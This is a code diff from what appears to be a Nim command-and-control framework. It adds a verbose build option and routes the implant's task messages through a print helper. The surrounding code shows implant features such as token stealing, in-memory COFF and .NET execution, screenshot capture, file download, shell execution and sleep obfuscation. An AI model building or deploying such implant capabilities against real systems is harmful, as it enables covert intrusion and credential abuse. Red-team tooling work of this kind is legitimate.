result.sleepMaskTechniques.add($technique) result.sleepMaskTechniques.add($technique)
@@ -45,6 +47,7 @@ proc resetModalValues*(component: AgentModalComponent) =
component.sleepDelay = 5 component.sleepDelay = 5
component.sleepMask = 0 component.sleepMask = 0
component.spoofStack = false component.spoofStack = false
component.verbose = false
component.moduleSelection.reset() component.moduleSelection.reset()
component.buildLog.clear() component.buildLog.clear()
@@ -100,6 +103,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
igCheckbox("##InputSpoofStack", addr component.spoofStack) igCheckbox("##InputSpoofStack", addr component.spoofStack)
igEndDisabled() igEndDisabled()
# Verbose mode checkbox
igText("Verbose: ")
igSameLine(0.0f, textSpacing)
igSetNextItemWidth(availableSize.x)
igCheckbox("##InputVerbose", addr component.verbose)
igDummy(vec2(0.0f, 10.0f)) igDummy(vec2(0.0f, 10.0f))
igSeparator() igSeparator()
igDummy(vec2(0.0f, 10.0f)) igDummy(vec2(0.0f, 10.0f))
@@ -139,6 +148,7 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
sleepDelay: component.sleepDelay, sleepDelay: component.sleepDelay,
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask), sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
spoofStack: component.spoofStack, spoofStack: component.spoofStack,
verbose: component.verbose,
modules: modules modules: modules
) )

View File

@@ -361,6 +361,7 @@ type
sleepDelay*: uint32 sleepDelay*: uint32
sleepTechnique*: SleepObfuscationTechnique sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool spoofStack*: bool
verbose*: bool
modules*: uint32 modules*: uint32
LootItemType* = enum LootItemType* = enum

View File

@@ -30,7 +30,7 @@ when not defined(agent):
when defined(agent): when defined(agent):
import osproc, strutils, strformat import osproc, strutils, strformat
import ../agent/core/coff import ../agent/core/[coff, io]
import ../agent/protocol/result import ../agent/protocol/result
import ../common/[utils, serialize] import ../common/[utils, serialize]
@@ -57,7 +57,7 @@ when defined(agent):
fileName = unpacker.getDataWithLengthPrefix() fileName = unpacker.getDataWithLengthPrefix()
objectFileContents = unpacker.getDataWithLengthPrefix() objectFileContents = unpacker.getDataWithLengthPrefix()
echo fmt" [>] Executing object file {fileName}." print fmt" [>] Executing object file {fileName}."
let output = inlineExecuteGetOutput(string.toBytes(objectFileContents), arguments) let output = inlineExecuteGetOutput(string.toBytes(objectFileContents), arguments)
if output != "": if output != "":

View File

@@ -30,7 +30,7 @@ when not defined(agent):
when defined(agent): when defined(agent):
import strutils, strformat import strutils, strformat
import ../agent/core/clr import ../agent/core/[clr, io]
import ../agent/protocol/result import ../agent/protocol/result
import ../common/[utils, serialize] import ../common/[utils, serialize]
@@ -56,7 +56,7 @@ when defined(agent):
fileName = unpacker.getDataWithLengthPrefix() fileName = unpacker.getDataWithLengthPrefix()
assemblyBytes = unpacker.getDataWithLengthPrefix() assemblyBytes = unpacker.getDataWithLengthPrefix()
echo fmt" [>] Executing .NET assembly {fileName}." print fmt" [>] Executing .NET assembly {fileName}."
let (assemblyInfo, output) = dotnetInlineExecuteGetOutput(string.toBytes(assemblyBytes), arguments) let (assemblyInfo, output) = dotnetInlineExecuteGetOutput(string.toBytes(assemblyBytes), arguments)
if output != "": if output != "":

View File

@@ -101,13 +101,14 @@ when not defined(agent):
when defined(agent): when defined(agent):
import os, strutils, strformat, times, algorithm, winim import os, strutils, strformat, times, algorithm, winim
import ../agent/core/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/utils import ../common/utils
# Retrieve current working directory # Retrieve current working directory
proc executePwd(ctx: AgentCtx, task: Task): TaskResult = proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
echo protect(" [>] Retrieving current working directory.") print protect(" [>] Retrieving current working directory.")
try: try:
# Get current working directory using GetCurrentDirectory # Get current working directory using GetCurrentDirectory
@@ -131,7 +132,7 @@ when defined(agent):
# Parse arguments # Parse arguments
let targetDirectory = Bytes.toString(task.args[0].data) let targetDirectory = Bytes.toString(task.args[0].data)
echo protect(" [>] Changing current working directory to {targetDirectory}.") print protect(" [>] Changing current working directory to {targetDirectory}.")
try: try:
# Get current working directory using GetCurrentDirectory # Get current working directory using GetCurrentDirectory
@@ -168,7 +169,7 @@ when defined(agent):
else: else:
discard discard
echo fmt" [>] Listing files and directories in {targetDirectory}." print fmt" [>] Listing files and directories in {targetDirectory}."
# Prepare search pattern (target directory + \*) # Prepare search pattern (target directory + \*)
let searchPattern = targetDirectory & "\\*" let searchPattern = targetDirectory & "\\*"
@@ -300,7 +301,7 @@ when defined(agent):
# Parse arguments # Parse arguments
let target = Bytes.toString(task.args[0].data) let target = Bytes.toString(task.args[0].data)
echo fmt" [>] Deleting file {target}." print fmt" [>] Deleting file {target}."
try: try:
if DeleteFile(target) == FALSE: if DeleteFile(target) == FALSE:
@@ -318,7 +319,7 @@ when defined(agent):
# Parse arguments # Parse arguments
let target = Bytes.toString(task.args[0].data) let target = Bytes.toString(task.args[0].data)
echo fmt" [>] Deleting directory {target}." print fmt" [>] Deleting directory {target}."
try: try:
if RemoveDirectoryA(target) == FALSE: if RemoveDirectoryA(target) == FALSE:
@@ -337,7 +338,7 @@ when defined(agent):
lpExistingFileName = Bytes.toString(task.args[0].data) lpExistingFileName = Bytes.toString(task.args[0].data)
lpNewFileName = Bytes.toString(task.args[1].data) lpNewFileName = Bytes.toString(task.args[1].data)
echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}." print fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}."
try: try:
if MoveFile(lpExistingFileName, lpNewFileName) == FALSE: if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
@@ -357,7 +358,7 @@ when defined(agent):
lpExistingFileName = Bytes.toString(task.args[0].data) lpExistingFileName = Bytes.toString(task.args[0].data)
lpNewFileName = Bytes.toString(task.args[1].data) lpNewFileName = Bytes.toString(task.args[1].data)
echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}." print fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}."
try: try:
# Copy file to new location, overwrite if a file with the same name already exists # Copy file to new location, overwrite if a file with the same name already exists

View File

@@ -41,6 +41,7 @@ when not defined(agent):
when defined(agent): when defined(agent):
import os, std/paths, strutils, strformat import os, std/paths, strutils, strformat
import ../agent/core/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/[utils, serialize] import ../common/[utils, serialize]
@@ -48,7 +49,7 @@ when defined(agent):
try: try:
var filePath: string = absolutePath(Bytes.toString(task.args[0].data)) var filePath: string = absolutePath(Bytes.toString(task.args[0].data))
echo fmt" [>] Downloading {filePath}" print fmt" [>] Downloading {filePath}"
# Read file contents into memory and return them as the result # Read file contents into memory and return them as the result
var fileBytes = readFile(filePath) var fileBytes = readFile(filePath)
@@ -71,7 +72,7 @@ when defined(agent):
try: try:
var arg: string = Bytes.toString(task.args[0].data) var arg: string = Bytes.toString(task.args[0].data)
echo arg print arg
# Parse binary argument # Parse binary argument
var unpacker = Unpacker.init(arg) var unpacker = Unpacker.init(arg)

View File

@@ -30,6 +30,7 @@ when defined(agent):
import winim/inc/wingdi import winim/inc/wingdi
import strutils, strformat, times, pixie import strutils, strformat, times, pixie
import stb_image/write as stbiw import stb_image/write as stbiw
import ../agent/core/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/[utils, serialize] import ../common/[utils, serialize]
@@ -155,7 +156,7 @@ when defined(agent):
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult = proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult =
try: try:
echo protect(" [>] Taking and uploading screenshot.") print protect(" [>] Taking and uploading screenshot.")
let let
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg" screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg"

View File

@@ -30,6 +30,7 @@ when not defined(agent):
when defined(agent): when defined(agent):
import osproc, strutils, strformat import osproc, strutils, strformat
import ../agent/core/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/utils import ../common/utils
@@ -50,7 +51,7 @@ when defined(agent):
for arg in task.args[1..^1]: for arg in task.args[1..^1]:
arguments &= Bytes.toString(arg.data) & " " arguments &= Bytes.toString(arg.data) & " "
echo fmt" [>] Executing command: {command} {arguments}" print fmt" [>] Executing command: {command} {arguments}"
let (output, status) = execCmdEx(fmt("{command} {arguments}")) let (output, status) = execCmdEx(fmt("{command} {arguments}"))

View File

@@ -42,6 +42,7 @@ when not defined(agent):
when defined(agent): when defined(agent):
import os, strutils, strformat import os, strutils, strformat
import ../agent/core/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/utils import ../common/utils
@@ -52,7 +53,7 @@ when defined(agent):
let delay = int(Bytes.toUint32(task.args[0].data)) let delay = int(Bytes.toUint32(task.args[0].data))
# Updating sleep in agent context # Updating sleep in agent context
echo fmt" [>] Setting sleep delay to {delay} seconds." print fmt" [>] Setting sleep delay to {delay} seconds."
ctx.sleep = delay ctx.sleep = delay
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
@@ -63,7 +64,7 @@ when defined(agent):
proc executeSleepmask(ctx: AgentCtx, task: Task): TaskResult = proc executeSleepmask(ctx: AgentCtx, task: Task): TaskResult =
try: try:
echo fmt" [>] Updating sleepmask settings." print fmt" [>] Updating sleepmask settings."
case int(task.argCount): case int(task.argCount):
of 0: of 0:

View File

@@ -38,6 +38,7 @@ when defined(agent):
import winim import winim
import os, strutils, sequtils, strformat, tables, algorithm import os, strutils, sequtils, strformat, tables, algorithm
import ../agent/core/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/utils import ../common/utils
@@ -51,7 +52,7 @@ when defined(agent):
proc executePs(ctx: AgentCtx, task: Task): TaskResult = proc executePs(ctx: AgentCtx, task: Task): TaskResult =
echo protect(" [>] Listing running processes.") print protect(" [>] Listing running processes.")
try: try:
var processes: seq[DWORD] = @[] var processes: seq[DWORD] = @[]
@@ -125,7 +126,7 @@ when defined(agent):
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
echo protect(" [>] Displaying environment variables.") print protect(" [>] Displaying environment variables.")
try: try:
var output: string = "" var output: string = ""

View File

@@ -88,13 +88,13 @@ when not defined(agent):
when defined(agent): when defined(agent):
import winim, strutils, strformat import winim, strutils, strformat
import ../agent/core/[token, io]
import ../agent/protocol/result import ../agent/protocol/result
import ../agent/core/token
import ../common/utils import ../common/utils
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult =
try: try:
echo fmt" [>] Creating access token from username and password." print fmt" [>] Creating access token from username and password."
var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS
var var
@@ -119,7 +119,7 @@ when defined(agent):
proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult = proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult =
try: try:
echo fmt" [>] Stealing access token." print fmt" [>] Stealing access token."
let pid = int(Bytes.toUint32(task.args[0].data)) let pid = int(Bytes.toUint32(task.args[0].data))
let username = stealToken(pid) let username = stealToken(pid)
@@ -131,7 +131,7 @@ when defined(agent):
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult =
try: try:
echo fmt" [>] Reverting access token." print fmt" [>] Reverting access token."
rev2self() rev2self()
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
@@ -140,7 +140,7 @@ when defined(agent):
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult = proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult =
try: try:
echo fmt" [>] Retrieving token information." print fmt" [>] Retrieving token information."
let tokenInfo = getCurrentToken().getTokenInfo() let tokenInfo = getCurrentToken().getTokenInfo()
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(tokenInfo)) return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(tokenInfo))
@@ -149,7 +149,7 @@ when defined(agent):
proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult = proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult =
try: try:
echo fmt" [>] Enabling token privilege." print fmt" [>] Enabling token privilege."
let privilege = Bytes.toString(task.args[0].data) let privilege = Bytes.toString(task.args[0].data)
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege))) return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege)))
@@ -158,7 +158,7 @@ when defined(agent):
proc executeDisablePrivilege(ctx: AgentCtx, task: Task): TaskResult = proc executeDisablePrivilege(ctx: AgentCtx, task: Task): TaskResult =
try: try:
echo fmt" [>] Disabling token privilege." print fmt" [>] Disabling token privilege."
let privilege = Bytes.toString(task.args[0].data) let privilege = Bytes.toString(task.args[0].data)
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege, false))) return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege, false)))

View File

@@ -60,7 +60,7 @@ proc replaceAfterPrefix(content, prefix, value: string): string =
it it
).join("\n") ).join("\n")
proc compile(cq: Conquest, placeholderLength: int, modules: uint32): string = proc compile(cq: Conquest, placeholderLength: int, modules: uint32, verbose: bool): string =
let let
configFile = fmt"{CONQUEST_ROOT}/src/agent/nim.cfg" configFile = fmt"{CONQUEST_ROOT}/src/agent/nim.cfg"
@@ -77,6 +77,7 @@ proc compile(cq: Conquest, placeholderLength: int, modules: uint32): string =
.replaceAfterPrefix("-d:CONFIGURATION=", placeholder) .replaceAfterPrefix("-d:CONFIGURATION=", placeholder)
.replaceAfterPrefix("-o:", exeFile) .replaceAfterPrefix("-o:", exeFile)
.replaceAfterPrefix("-d:MODULES=", $modules) .replaceAfterPrefix("-d:MODULES=", $modules)
.replaceAfterPrefix("-d:VERBOSE=", $verbose)
writeFile(configFile, config) writeFile(configFile, config)
cq.info(fmt"Placeholder created ({placeholder.len()} bytes).") cq.info(fmt"Placeholder created ({placeholder.len()} bytes).")
@@ -146,7 +147,7 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): se
return @[] return @[]
# Agent generation # Agent generation
proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, modules: uint32): seq[byte] = proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, verbose: bool, modules: uint32): seq[byte] =
# Verify that listener exists # Verify that listener exists
if not cq.dbListenerExists(listenerId.toUpperAscii): if not cq.dbListenerExists(listenerId.toUpperAscii):
@@ -157,7 +158,7 @@ proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechniq
var config = cq.serializeConfiguration(listener, sleepDelay, sleepTechnique, spoofStack) var config = cq.serializeConfiguration(listener, sleepDelay, sleepTechnique, spoofStack)
let unpatchedExePath = cq.compile(config.len, modules) let unpatchedExePath = cq.compile(config.len, modules, verbose)
if unpatchedExePath.isEmptyOrWhitespace(): if unpatchedExePath.isEmptyOrWhitespace():
return return

View File

@@ -96,9 +96,10 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
sleepDelay = event.data["sleepDelay"].getInt() sleepDelay = event.data["sleepDelay"].getInt()
sleepTechnique = cast[SleepObfuscationTechnique](event.data["sleepTechnique"].getInt()) sleepTechnique = cast[SleepObfuscationTechnique](event.data["sleepTechnique"].getInt())
spoofStack = event.data["spoofStack"].getBool() spoofStack = event.data["spoofStack"].getBool()
verbose = event.data["verbose"].getBool()
modules = cast[uint32](event.data["modules"].getInt()) modules = cast[uint32](event.data["modules"].getInt())
let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, modules) let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, verbose, modules)
if payload.len() != 0: if payload.len() != 0:
cq.client.sendAgentPayload(payload) cq.client.sendAgentPayload(payload)